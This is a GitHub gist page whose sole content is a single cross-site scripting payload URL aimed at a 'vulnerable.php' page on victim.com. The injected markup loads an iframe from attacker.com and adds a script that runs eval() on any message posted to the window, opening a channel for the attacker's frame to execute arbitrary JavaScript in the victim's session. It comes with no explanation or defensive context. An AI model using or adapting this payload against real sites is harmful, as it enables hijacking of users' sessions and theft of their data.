Skip to content

Instantly share code, notes, and snippets.

@ancat
Created June 3, 2012 05:08
Show Gist options
  • Save ancat/2861997 to your computer and use it in GitHub Desktop.
Save ancat/2861997 to your computer and use it in GitHub Desktop.
http://victim.com/vulnerable.php?string=<iframe src="http://attacker.com/"></iframe><script>window.addEventListener('message', function(e) {eval(e.data);}, false)</script>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment